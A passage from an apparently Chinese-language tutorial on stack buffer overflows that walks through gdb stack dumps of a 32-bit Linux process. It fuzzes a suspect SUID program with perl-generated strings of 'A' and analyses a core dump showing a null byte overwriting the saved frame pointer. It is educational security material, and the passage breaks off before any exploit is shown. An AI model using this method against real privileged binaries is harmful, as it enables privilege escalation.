0xbffff6c0:     0x00000002      0xbffff704      0xbffff710      0x40013868&lt;br&gt;            0xbffff6d0:     0x00000002      0x08048350      0x00000000      0x08048371&lt;br&gt;           0xbffff6e0:     0x0804842c      0x00000002      0xbffff704      0x080482c0&lt;br&gt;           0xbffff6f0:     0x0804848c      0x4000ae60      0xbffff6fc      0x40013e90&lt;br&gt; &lt;br&gt;           从上面可以看到, stack_end=0xbffff6fc, 也就是说我们的进程的栈底地址为0xbffff6fc,&lt;br&gt;           在调用__libc_start_main函数前依次推了如下七个参数入栈:&lt;br&gt;           0xbffff6fc  -&gt; 进程的栈底&lt;br&gt;           0x4000ae60  -&gt; _dl_fini函数的人口地址.&lt;br&gt;           0x0804848c  -&gt; _fini函数的入口地址&lt;br&gt;            0x080482c0  -&gt; _init函数的入口地址&lt;br&gt;           0xbffff704  -&gt; argv命令行参数地址的地址&lt;br&gt;           0x00000002  -&gt; argc命令行参数个数值&lt;br&gt;           0x0804842c  -&gt; 我们的main函数入口&lt;br&gt;&lt;br&gt;           从上面的分析可推出, 在内存地址0xbffff6dc的内容0x08048371就是__libc_start_main函数&lt;br&gt;            的返回地址了.&lt;br&gt;           我们来看看是什么函数调用了__libc_start_main.&lt;br&gt;           (gdb) disas 0x08048371&lt;br&gt;           Dump of assembler code for function _start:&lt;br&gt;           0x8048350 &lt;_start&gt;:     xor    %ebp,%ebp&lt;br&gt;            0x8048352 &lt;_start+2&gt;:   pop    %esi&lt;br&gt;           0x8048353 &lt;_start+3&gt;:   mov    %esp,%ecx&lt;br&gt;           0x8048355 &lt;_start+5&gt;:   and    $0xfffffff8,%esp&lt;br&gt;           0x8048358 &lt;_start+8&gt;:   push   %eax&lt;br&gt;            0x8048359 &lt;_start+9&gt;:   push   %esp&lt;br&gt;           0x804835a &lt;_start+10&gt;:  push   %edx&lt;br&gt;           0x804835b &lt;_start+11&gt;:  push   $0x804848c&lt;br&gt;           0x8048360 &lt;_start+16&gt;:  push   $0x80482c0&lt;br&gt;            0x8048365 &lt;_start+21&gt;:  push   %ecx&lt;br&gt;           0x8048366 &lt;_start+22&gt;:  push   %esi&lt;br&gt;           0x8048367 &lt;_start+23&gt;:  push   $0x804842c&lt;br&gt;           0x804836c &lt;_start+28&gt;:  call   0x8048320 &lt;__libc_start_main&gt;&lt;br&gt;            0x8048371 &lt;_start+33&gt;:  hlt&lt;br&gt;           0x8048372 &lt;_start+34&gt;:  nop&lt;br&gt;           0x8048373 &lt;_start+35&gt;:  nop&lt;br&gt;           (省略以下的nop)&lt;br&gt;           End of assembler dump.&lt;br&gt;&lt;br&gt;           原来是_start函数调用了__libc_start_main函数.&lt;br&gt;            至于_start函数调用__libc_start_main函数后, 接是如何调用_init函数和_dl_runtime_resove&lt;br&gt;           函数来调用共享库函数和我们的main函数然后退出的, 已经远远脱离了本文的主题, 这里不再继&lt;br&gt;           续介绍.&lt;br&gt;&lt;br&gt;           (gdb) x/1024x 0xbffff6f0&lt;br&gt;           0xbffff6f0:     0x0804848c      0x4000ae60      0xbffff6fc      0x40013e90&lt;br&gt;            0xbffff700:     0x00000002      0xbffff83e      0xbffff856      0x00000000&lt;br&gt;           0xbffff710:     0xbffff85f      0xbffff881      0xbffff88f      0xbffff89e&lt;br&gt;           0xbffff720:     0xbffff8c4      0xbffff8d2      0xbffff900      0xbffff91a&lt;br&gt;            0xbffff730:     0xbffff932      0xbffff94d      0xbffff9a8      0xbffff9df&lt;br&gt;           0xbffff740:     0xbffffaf3      0xbffffb06      0xbffffb11      0xbffffb31&lt;br&gt;           0xbffff750:     0xbffffb5a      0xbffffb68      0xbffffc72      0xbffffc7e&lt;br&gt;            0xbffff760:     0xbffffc8f      0xbffffca4      0xbffffcb4      0xbffffcbf&lt;br&gt;           0xbffff770:     0xbffffcd7      0xbffffcf5      0xbffffd0e      0xbffffd19&lt;br&gt;           0xbffff780:     0xbffffd23      0xbffffd6c      0xbffffd79      0xbffffda0&lt;br&gt;            0xbffff790:     0xbffffdb2      0xbffffdc1      0xbffffde6      0xbffffe08&lt;br&gt;           0xbffff7a0:     0xbffffe10      0xbfffffd3      0x00000000      0x00000003&lt;br&gt;           0xbffff7b0:     0x08048034      0x00000004      0x00000020      0x00000005&lt;br&gt;            0xbffff7c0:     0x00000006      0x00000006      0x00001000      0x00000007&lt;br&gt;           0xbffff7d0:     0x40000000      0x00000008      0x00000000      0x00000009&lt;br&gt;           0xbffff7e0:     0x08048350      0x0000000b      0x000001f5      0x0000000c&lt;br&gt;            0xbffff7f0:     0x000001f5      0x0000000d      0x00000004      0x0000000e&lt;br&gt;           0xbffff800:     0x00000004      0x00000010      0x008001bf      0x0000000f&lt;br&gt;           0xbffff810:     0xbffff839      0x00000000      0x00000000      0x00000000&lt;br&gt;            0xbffff820:     0x00000000      0x00000000      0x00000000      0x00000000&lt;br&gt;           0xbffff830:     0x00000000      0x00000000      0x38356900      0x682f0036&lt;br&gt;           0xbffff840:     0x2f656d6f      0x65776f74      0x74742f72      0x2f737775&lt;br&gt;            0xbffff850:     0x2f6c6469      0x41410070      0x41414141      0x4c004141&lt;br&gt;           0xbffff860:     0x4f535345      0x3d4e4550      0x73752f7c      0x69622f72&lt;br&gt;           ...&lt;br&gt;           (省略)&lt;br&gt;           ...&lt;br&gt;            0xbfffffd0:     0x54003a35      0x75413d5a      0x61727473      0x2f61696c&lt;br&gt;           0xbfffffe0:     0x0057534e      0x6d6f682f      0x6f742f65      0x2f726577&lt;br&gt;           0xbffffff0:     0x77757474      0x64692f73      0x00702f6c      0x00000000&lt;br&gt;            0xc0000000:     Cannot access memory at address 0xc0000000&lt;br&gt;&lt;br&gt;           我们知道内存单元0xbffff704放的是指argv[0]的地址, 那么0xbffff708放的就是argv[1]&lt;br&gt;           的地址了. 0xbffff700里放的是argc的值.&lt;br&gt;&lt;br&gt;           那么0xbffff710里放的是什么呢? 看样子象是指向字符串的地址, 让我们来看看.&lt;br&gt;            (gdb) x/1s 0xbffff85f&lt;br&gt;           0xbffff85f:      &quot;LESSOPEN=|/usr/bin/lesspipe.sh %s&quot;&lt;br&gt;           (gdb)&lt;br&gt;           0xbffff881:      &quot;HISTSIZE=1000&quot;&lt;br&gt;           ...&lt;br&gt;&lt;br&gt;           再看看最后一个.&lt;br&gt;            (gdb) x/1s 0xbfffffd3&lt;br&gt;           0xbfffffd3:      &quot;TZ=Australia/NSW&quot;&lt;br&gt;           0xc0000000以后的地址空间已不是进程能合法访问的了.&lt;br&gt;&lt;br&gt;           原来都是些SHELL的环境变量字符串.&lt;br&gt;&lt;br&gt;           这一片东西是从内存地址0xbffff839开始的, 让我们再看看.&lt;br&gt;            (gdb) x/1s 0xbffff839&lt;br&gt;           0xbffff839:      &quot;i586&quot;&lt;br&gt;           (gdb)&lt;br&gt;           0xbffff83e:      &quot;/home/vcat/p&quot;    ===&gt; 细心的朋友会发现这里已被俺改掉了,&lt;br&gt;                                                   让俺保留一点私隐吧 ;)&lt;br&gt;            (gdb)&lt;br&gt;           0xbffff856:      &quot;AAAAAAAA&quot;&lt;br&gt;           (gdb)&lt;br&gt;           0xbffff85f:      &quot;LESSOPEN=|/usr/bin/lesspipe.sh %s&quot;&lt;br&gt;           ...&lt;br&gt;&lt;br&gt;           我们得出结论: 0xbffff700放的是argc的值; 0xbffff704放的是argv[0]的地址,&lt;br&gt;            0xbffff708放的是argv[1]的地址; 0xbffff710--0xbffffa4放的是指向各个环境变量&lt;br&gt;           字符串起始地址的指针; 从内存地址0xbffff839开始依次存放的是: 系统平台信息字&lt;br&gt;           串; 命令行字串; 环境变量字串.&lt;br&gt;&lt;br&gt;           至于0xbffff7a8--0xbffff838里放的是什么, 还有待研究. 由于对本文不是至关重要,&lt;br&gt;            暂时放一下.&lt;br&gt;&lt;br&gt;           分析到这, 我们来组合一下进程在内存的影像:&lt;br&gt;&lt;br&gt;                   (内存高址)&lt;br&gt;&lt;br&gt;                              | ...... | ...省略了一些我们不需要关心的区&lt;br&gt;                              +--------+&lt;br&gt;                              |00000000|\&lt;br&gt;                    0xbffffffc +--------+ \&lt;br&gt;                              | ...... |  \&lt;br&gt;                                           \&lt;br&gt;                              | ...... |    \&lt;br&gt;                   0xbffff844 +--------+   系统平台信息串(如:&quot;i586&quot;)和命令行参数及环境变量字串&lt;br&gt;                               |2f656d6f|    /&lt;br&gt;                   0xbffff840 +--------+   /&lt;br&gt;                              |682f0036|  /&lt;br&gt;                   0xbffff83c +--------+ /&lt;br&gt;                              |38356900|/ --&gt; 从内存地址0xbffff839开始, 0x69353836=&quot;i586&quot;&lt;br&gt;                    0xbffff838 +--------+&lt;br&gt;                              | ...... |\&lt;br&gt;                                         里面放的是什么? 还有待研究&lt;br&gt;                              | ...... |/&lt;br&gt;                   0xbffff7a8 +--------+&lt;br&gt;                               |bfffffd3|\&lt;br&gt;                   0xbffff7a4 +--------+ \&lt;br&gt;                              | ...... |  \&lt;br&gt;                                ......     环境变量指针&lt;br&gt;                              | ...... |  /&lt;br&gt;                    0xbffff714 +--------+ /&lt;br&gt;                              |bffff85f|/&lt;br&gt;                   0xbffff710 +--------+&lt;br&gt;                              |00000000|&lt;br&gt;                   0xbffff70c +--------+&lt;br&gt;                               |bffff856| argv[1]的地址&lt;br&gt;                   0xbffff708 +--------+&lt;br&gt;                              |bffff83e| argv[0]的地址&lt;br&gt;                   0xbffff704 +--------+&lt;br&gt;                              |00000002| argc的值&lt;br&gt;                    0xbffff700 +--------+&lt;br&gt;                              |40013e90| ???? (和_dl_starting_up函数有关)&lt;br&gt;                   0xbffff6fc +--------+ &lt;-- 进程的栈底&lt;br&gt;                              |bffff6fc| stack_end(进程的栈底)&lt;br&gt;                    0xbffff6f8 +--------+&lt;br&gt;                              |4000ae60| _dl_fini函数入口地址&lt;br&gt;                   0xbffff6f4 +--------+&lt;br&gt;                              |0804848c| _fini函数入口地址&lt;br&gt;                   0xbffff6f0 +--------+&lt;br&gt;                               |080482c0| _init函数入口地址&lt;br&gt;                   0xbffff6ec +--------+&lt;br&gt;                              |bffff704| argv地址的地址&lt;br&gt;                   0xbffff6e8 +--------+&lt;br&gt;                              |00000002| argc的值&lt;br&gt;                    0xbffff6e4 +--------+&lt;br&gt;                              |0804842c| main函数的入口地址&lt;br&gt;                   0xbffff6e0 +--------+&lt;br&gt;                              |08048371| __libc_start_main的返回地址(指令hlt), 正常情况不会返回到这.&lt;br&gt;                    0xbffff6dc +--------+&lt;br&gt;                              |00000000|&lt;br&gt;                   0xbffff6d8 +--------+ &lt;-- 调用main函数前的ebp&lt;br&gt;                              |08048350| _start函数的入口地址&lt;br&gt;                              +--------+&lt;br&gt;                               |00000002| argc的值&lt;br&gt;                              +--------+&lt;br&gt;                              |40013868| ????&lt;br&gt;                              +--------+&lt;br&gt;                              |bffff710| 环境变量指针的地址&lt;br&gt;                               +--------+&lt;br&gt;                              |bffff704| argv地址的地址(即argv[0]的地址)&lt;br&gt;                   0xbffff6c4 +--------+&lt;br&gt;                              |00000002| argc的值&lt;br&gt;                   0xbffff6c0 +--------+&lt;br&gt;                               |400349cb| main函数的返回地址&lt;br&gt;                   0xbffff6bc +--------+ &lt;-- 当前esp&lt;br&gt;                              |bffff6d8| (垃圾) 调用main函数前的ebp&lt;br&gt;                   0xbffff6b8 +--------+&lt;br&gt;                              |bffff856| (垃圾) 字符串&quot;AAAAAAAA&quot;在内存中的起始地址&lt;br&gt;                    0xbffff6b4 +--------+&lt;br&gt;                              |08048443| (垃圾) vulFunc函数的返回地址&lt;br&gt;                   0xbffff6b0 +--------+&lt;br&gt;                              |bffff6b8| (垃圾) main函数的ebp&lt;br&gt;                   0xbffff6ac +--------+&lt;br&gt;                               |bffff600| (垃圾)&lt;br&gt;                   0xbffff6a8 +--------+&lt;br&gt;                              |41414141| (垃圾)&lt;br&gt;                   0xbffff6a4 +--------+&lt;br&gt;                              |41414141| (垃圾)&lt;br&gt;                    0xbffff6a0 +--------+&lt;br&gt;                              |bffff856| (垃圾) 字符串&quot;AAAAAAAA&quot;在内存中的起始地址&lt;br&gt;                   0xbffff69c +--------+&lt;br&gt;                              |bffff6a0| (垃圾) vulFunc函数栈帧中分配的十二个字节起始地址&lt;br&gt;                    0xbffff698 +--------+&lt;br&gt;                              | ...... |&lt;br&gt;                   (内存低址)&lt;br&gt;&lt;br&gt;           通过以上的分析, 我们对C语言函数调用的机制和程序在内存中运行情况就了解得差不多了.&lt;br&gt;           基础打好了, 想进步就容易多了, 想干什么都可以随心所欲.&lt;br&gt; &lt;br&gt;      iii) 小结&lt;br&gt;           a) 32位机器的内存分配是以4个字节为单元的.&lt;br&gt;           b) 指令: push %寄存器(32位)&lt;br&gt;              相当于esp=esp-4, 然后把寄存器里的值存放到esp所指的4个字节的内存单元里.&lt;br&gt;           c) 指令: pop %寄存器(32位)&lt;br&gt;              相当于把esp所指向的内存单元的值赋给所指定的寄存器, 然后esp=esp+4.&lt;br&gt;            d) 函数调用时所建立的栈帧的内存空间并没有清零, 而是沿用了以前调用其它函数时所余&lt;br&gt;              留下来的数据, 这就是编程时如果没有初始化局部变量, 该变量的初始值不一定为零的&lt;br&gt;              原因.&lt;br&gt;           e) main函数被调用前的栈的内容和概述里描述的有出入--概述只是个一般性的描述, 对不&lt;br&gt;              同的平台要具体分析.&lt;br&gt;            f) 在Linux x86平台, 调用函数所传给被调用函数的参数是由调用函数人栈的, 存放在调用&lt;br&gt;              函数的栈帧里;&lt;br&gt;              被调用函数返回后, 由调用函数负责把入栈的参数从栈中弹出.&lt;br&gt;           g) 参数的入栈顺序由右向左. 即: 函数最右边的参数最先入栈, 依次到最左边的.&lt;br&gt;           h) 被调用函数对参数和局部变量的访问遵循如下原则:&lt;br&gt;               以被调用函数的ebp为分界线, ebp+n*4(n&gt;=2)为对被传给它的参数的引用;&lt;br&gt;              ebp-n*4(n&gt;=1)为对局部变量的引用.&lt;br&gt;&lt;br&gt;              如下图所示:&lt;br&gt;&lt;br&gt;                (内存高址)&lt;br&gt;                           | ...... | 参数m(m&gt;=1)&lt;br&gt;                           +--------+ ebp+(m+1)*4&lt;br&gt;                            | ...... |&lt;br&gt;                           +--------+&lt;br&gt;                           |PPPPPPPP| 参数3&lt;br&gt;                           +--------+ ebp+16&lt;br&gt;                           |PPPPPPPP| 参数2&lt;br&gt;                           +--------+ ebp+12&lt;br&gt;                            |PPPPPPPP| 参数1&lt;br&gt;                           +--------+ ebp+8&lt;br&gt;                           |返回地址|&lt;br&gt;                           +--------+ ebp+4&lt;br&gt;                           |  ebp   |&lt;br&gt;                           +--------+ &lt;-- 被调用函数的ebp&lt;br&gt;                            |LLLLLLLL| 局部变量内存单元1&lt;br&gt;                           +--------+ ebp-4&lt;br&gt;                           |LLLLLLLL| 局部变量内存单元2&lt;br&gt;                           +--------+ ebp-8&lt;br&gt;                           | ...... |&lt;br&gt;                            +--------+&lt;br&gt;                           | ...... | 局部变量内存单元m&lt;br&gt;                           +--------+ ebp-m*4&lt;br&gt;                           | ...... |&lt;br&gt;                (内存低址)&lt;br&gt;&lt;br&gt;           i) 进入被调用函数时的&lt;br&gt;               push %ebp&lt;br&gt;              mov  %esp, %ebp&lt;br&gt;              这两条指令实现了对调用函数的栈帧栈底的保存和把调用函数的栈顶做为被调用函数&lt;br&gt;              的栈底.&lt;br&gt;           j) 被调用函数返回前的指令leave实现了i)中的相反的动作.&lt;br&gt;              即: 被调用函数返回前恢复调用函数的栈帧.&lt;br&gt;               相当于&lt;br&gt;              mov  %ebp, %esp&lt;br&gt;              pop  %ebp&lt;br&gt;              也就是, 把被调用函数的ebp的值赋给esp--当前(被调用函数)的栈底做为新的栈顶;&lt;br&gt;              把新栈顶的内容弹出做为栈底--从而完成了调用函数栈帧的恢复.&lt;br&gt;&lt;br&gt;&lt;br&gt;   2) 溢出分析&lt;br&gt;      我们假装一下有这样的情况: 怀疑系统有一个SUID的可执行文件p可能有问题, 我们知道它接收&lt;br&gt;       命令行提供给它的字串然后在屏幕上显示出来.&lt;br&gt;      有时假装真的很难做到, 尤其对于我们这些&quot;菜鸟&quot;来讲. &quot;高手&quot;就不一样了, 往往会把简单的问&lt;br&gt;      题越说越复杂, 以显高手本色. ;)&lt;br&gt;&lt;br&gt;      如何发现缓冲区溢出的触发条件? 这不仅是烦琐的, 而且也是个复杂的劳动, 所以要有方法. 碰&lt;br&gt;      运气发现的情况是有的, 但我们要的是方法论. 如果能有好的方法再加上运气, 那就再好不过了.&lt;br&gt; &lt;br&gt;      那什么样的方法好呢? 我们就以最笨的&quot;菜鸟&quot;方法吧. 我们来&quot;土法炼钢&quot; ... 看看成不成? ;)&lt;br&gt;&lt;br&gt;      我们知道命令p接收命令行的字串. 我们也知道在编程时, 一般习惯缓冲区大小定义为1024, 512,&lt;br&gt;      256, 64, ... 好, 那我们就用二分法来步步逼进, 去找一下.&lt;br&gt;&lt;br&gt;      bash$ ./p `perl -e &#39;print &quot;A&quot;x1025&#39;`&lt;br&gt;       String=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;br&gt; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;br&gt; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;br&gt;      AAAAAAAAAAAAAA&lt;br&gt;      Segmentation fault (core dumped)&lt;br&gt;&lt;br&gt;      哈! 段出错. 溢出了.&lt;br&gt;      我们要找的是最短的串使命令p溢出的情况. 继续 ...&lt;br&gt;       bash$ ./p `perl -e &#39;print &quot;A&quot;x513&#39;`&lt;br&gt;      String=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;br&gt; AAAAAAAAAA&lt;br&gt;      Segmentation fault (core dumped)&lt;br&gt;&lt;br&gt;      ...&lt;br&gt;      ...&lt;br&gt;      ...&lt;br&gt;&lt;br&gt;      bash$ ./p `perl -e &#39;print &quot;A&quot;x17&#39;`&lt;br&gt;      String=AAAAAAAAAAAAAAAAA&lt;br&gt;      Segmentation fault (core dumped)&lt;br&gt; &lt;br&gt;      bash$ ./p `perl -e &#39;print &quot;A&quot;x9&#39;`&lt;br&gt;      String=AAAAAAAAA&lt;br&gt;      字串长度等于9没有溢出.&lt;br&gt;&lt;br&gt;      bash$ ./p `perl -e &#39;print &quot;A&quot;x13&#39;`&lt;br&gt;      String=AAAAAAAAAAAAA&lt;br&gt;      Segmentation fault (core dumped)&lt;br&gt;       字串长度等于13溢出了.&lt;br&gt;&lt;br&gt;      bash$ ./p `perl -e &#39;print &quot;A&quot;x11&#39;`&lt;br&gt;      String=AAAAAAAAAAA&lt;br&gt;      字串长度等于11没有溢出.&lt;br&gt;&lt;br&gt;      bash$ ./p `perl -e &#39;print &quot;A&quot;x12&#39;`&lt;br&gt;      String=AAAAAAAAAAAA&lt;br&gt;       Segmentation fault (core dumped)&lt;br&gt;      字串长度等于12时, 刚好溢出.&lt;br&gt;&lt;br&gt;      所以, 字串长度大于等于12是溢出触发条件.&lt;br&gt;&lt;br&gt;      让我们来分析一下这个Segmentation fault段出错的core文件.&lt;br&gt;      bash$ gdb -c core p&lt;br&gt;      GNU gdb 19991004&lt;br&gt;      Copyright 1998 Free Software Foundation, Inc.&lt;br&gt;       GDB is free software, covered by the GNU General Public License, and you are&lt;br&gt;      welcome to change it and/or distribute copies of it under certain conditions.&lt;br&gt;      Type &quot;show copying&quot; to see the conditions.&lt;br&gt;       There is absolutely no warranty for GDB.  Type &quot;show warranty&quot; for details.&lt;br&gt;      This GDB was configured as &quot;i386-redhat-linux&quot;...&lt;br&gt;      Core was generated by `./p AAAAAAAAAAAA&#39;.&lt;br&gt;      Program terminated with signal 11, Segmentation fault.&lt;br&gt;       Reading symbols from /lib/libc.so.6...done.&lt;br&gt;      Reading symbols from /lib/ld-linux.so.2...done.&lt;br&gt;      #0  0xd790266 in ?? ()&lt;br&gt;      (gdb) bt&lt;br&gt;      #0  0xd790266 in ?? ()&lt;br&gt;      #1  0x4001407c in ?? ()&lt;br&gt;       #2  0x3 in ?? ()&lt;br&gt;      #3  0x400144e8 in ?? ()&lt;br&gt;      (gdb) i reg&lt;br&gt;      eax            0x14     20&lt;br&gt;      ecx            0x400    1024&lt;br&gt;      edx            0x4010a980       1074833792&lt;br&gt;      ebx            0x4010c1ec       1074840044&lt;br&gt;       esp            0xbffff608       -1073744376&lt;br&gt;      ebp            0x400146ec       1073825516&lt;br&gt;      esi            0x4000ae60       1073786464&lt;br&gt;      edi            0xbffff734       -1073744076&lt;br&gt;      eip            0xd790266        226034278&lt;br&gt;       eflags         0x10286  66182&lt;br&gt;      (以下省略)&lt;br&gt;      ...&lt;br&gt;&lt;br&gt;      进程运行到eip=0xd790266时退出了.&lt;br&gt;&lt;br&gt;      我们看一下&lt;br&gt;      (gdb) x/x 0x4010a980&lt;br&gt;      0x4010a980 &lt;_IO_2_1_stdout_&gt;:   0xfbad2a84&lt;br&gt;      (gdb) x/x 0x4010c1ec&lt;br&gt;       0x4010c1ec:     0x000f0c84&lt;br&gt;      (gdb) x/x 0xbffff608&lt;br&gt;      0xbffff608:     0xbffff68c&lt;br&gt;      (gdb) x/x 0x400146ec&lt;br&gt;      0x400146ec:     0x4001407c&lt;br&gt;      (gdb) x/x 0x4000ae60&lt;br&gt;      0x4000ae60 &lt;_dl_fini&gt;:  0x83e58955&lt;br&gt;       (gdb) x/x 0xbffff734&lt;br&gt;      0xbffff734:     0xbffff86c&lt;br&gt;      (gdb) x/x 0xd790266&lt;br&gt;      0xd790266:      Cannot access memory at address 0xd790266&lt;br&gt;      (gdb) disas 0xd790266&lt;br&gt;      No function contains specified address.&lt;br&gt; &lt;br&gt;      相关寄存器(edx, ebx, esp, ebp, esi, edi)所指向的地址的内存单元是可以访问的, 除了&lt;br&gt;      eip所指的地址不可访问. 所以是eip导致了段出错.&lt;br&gt;&lt;br&gt;      我们来看看这时栈里面的相关内容.&lt;br&gt;      这时的esp指向0xbffff608, 从上面的分析可知这是从栈里面弹出返回地址后的栈顶, 我们把附近&lt;br&gt;      的内存内容列出来看一下.&lt;br&gt;      (gdb) x/64x $esp-32&lt;br&gt;       0xbffff5e8:     0x400144e8      0x00000003      0x40014758      0x00000001&lt;br&gt;      0xbffff5f8:     0xbffff610      0x40025df0      0x400146ec      0x0d790266&lt;br&gt;      0xbffff608:     0xbffff68c      0x4002d82c      0x40025df0      0x400144e8&lt;br&gt;       0xbffff618:     0x400140d4      0x077905a6      0xbffff6a4      0x080481fd&lt;br&gt;      0xbffff628:     0x4001f630      0x400144e8      0x400140d4      0x078e530f&lt;br&gt;      0xbffff638:     0xbffff6bc      0x0804823d      0x40025ca0      0x400144e8&lt;br&gt;       0xbffff648:     0xbffff6cc      0x4002a1a6      0x40022ad0      0x400144e8&lt;br&gt;      0xbffff658:     0xbffff690      0x4000a7fd      0x400144d8      0x400147b8&lt;br&gt;      0xbffff668:     0x00000007      0x4000a74e      0x4010c1ec      0x4000ae60&lt;br&gt;       0xbffff678:     0xbffff734      0x400144e8      0x40025df0      0x4010c8c0&lt;br&gt;      0xbffff688:     0x4002d82c      0x40025df0      0xbffff6c0      0x4000a970&lt;br&gt;      0xbffff698:     0xbffff87d      0xfffffe5f      0x40061920      0x400144e8&lt;br&gt;       0xbffff6a8:     0xbffff6c0      0x4006a070      0x4010a980      0x080484b0&lt;br&gt;      0xbffff6b8:     0xbffff6d0      0x4010c1ec      0xbffff6dc      0x08048424&lt;br&gt;      0xbffff6c8:     0x080484b0      0xbffff6d0      0x41414141      0x41414141&lt;br&gt;       0xbffff6d8:     0x41414141      0xbffff600      0x08048443      0xbffff870&lt;br&gt;&lt;br&gt;      在0xbffff604处正是当前eip的值, 0xbffff600处正是当前ebp的值.&lt;br&gt;      从前面我们得到的结论, 可以推出0xbffff600这个地址值就是被调用函数返回前的栈顶esp所&lt;br&gt;      指向的内存单元的内容, 被调用函数中的leave指令把当时的esp所指向的内存单元的内容&lt;br&gt;       (0xbffff600)弹出来做了调用(当前)函数的栈底.&lt;br&gt;&lt;br&gt;      我们来查看一下在附近的内存中哪里有这个值--0xbffff600&lt;br&gt;&lt;br&gt;      哈! &quot;远在天边, 近在眼前&quot;, 就在我们的视野里--最后一行的第二个内存单元, 省了我们再找.&lt;br&gt;&lt;br&gt;      它的前面(内存低地址)就是我们输入的那十二个可爱的&quot;A&quot;, 那么紧接在它的后面(内存高地址)&lt;br&gt;       的内存单元里的内容0x08048443就是被调用函数的返回地址了.&lt;br&gt;&lt;br&gt;      我们反汇编来看看是什么来的.&lt;br&gt;      (gdb) disas 0x08048443&lt;br&gt;      Dump of assembler code for function main:&lt;br&gt;      0x804842c &lt;main&gt;:       push   %ebp&lt;br&gt;      0x804842d &lt;main+1&gt;:     mov    %esp,%ebp&lt;br&gt;       0x804842f &lt;main+3&gt;:     cmpl   $0x2,0x8(%ebp)&lt;br&gt;      0x8048433 &lt;main+7&gt;:     jne    0x8048448 &lt;main+28&gt;&lt;br&gt;      0x8048435 &lt;main+9&gt;:     mov    0xc(%ebp),%eax&lt;br&gt;      0x8048438 &lt;main+12&gt;:    add    $0x4,%eax&lt;br&gt;       0x804843b &lt;main+15&gt;:    mov    (%eax),%edx&lt;br&gt;      0x804843d &lt;main+17&gt;:    push   %edx&lt;br&gt;      0x804843e &lt;main+18&gt;:    call   0x8048400 &lt;vulFunc&gt;&lt;br&gt;      0x8048443 &lt;main+23&gt;:    add    $0x4,%esp&lt;br&gt;       0x8048446 &lt;main+26&gt;:    jmp    0x804845b &lt;main+47&gt;&lt;br&gt;      0x8048448 &lt;main+28&gt;:    mov    0xc(%ebp),%eax&lt;br&gt;      0x804844b &lt;main+31&gt;:    mov    (%eax),%edx&lt;br&gt;      0x804844d &lt;main+33&gt;:    push   %edx&lt;br&gt;       0x804844e &lt;main+34&gt;:    push   $0x80484bb&lt;br&gt;      0x8048453 &lt;main+39&gt;:    call   0x8048330 &lt;printf&gt;&lt;br&gt;      0x8048458 &lt;main+44&gt;:    add    $0x8,%esp&lt;br&gt;      0x804845b &lt;main+47&gt;:    leave&lt;br&gt;       0x804845c &lt;main+48&gt;:    ret&lt;br&gt;      0x804845d &lt;main+49&gt;:    nop&lt;br&gt;      0x804845e &lt;main+50&gt;:    nop&lt;br&gt;      0x804845f &lt;main+51&gt;:    nop&lt;br&gt;      End of assembler dump.&lt;br&gt;&lt;br&gt;      嘻嘻... 那是我们的main函数. 噢! 怎么忘了我们在假装呢? :( 不行不行, 继续假装 ;)&lt;br&gt; &lt;br&gt;      原来是main函数调用了vulFunc, 然后main函数自己返回的时候出了问题. 那么问题究竞出在哪了?&lt;br&gt;&lt;br&gt;      我们再次看一下0xbffff600这个值, 参照刚才列出来的内存内容可以看出那个最低位字节的00&lt;br&gt;      其实就是我们的字串的零结尾字符0. 也就是说, 我们输入的字串的零结尾字符复盖了栈中保存&lt;br&gt;      的调用函数main的ebp的最低字节. 换句话来说, 如果调用函数ebp原来的值为0xbffff600, 则什&lt;br&gt;       么事都没有; 如果原来的值为0xbffff6XX, 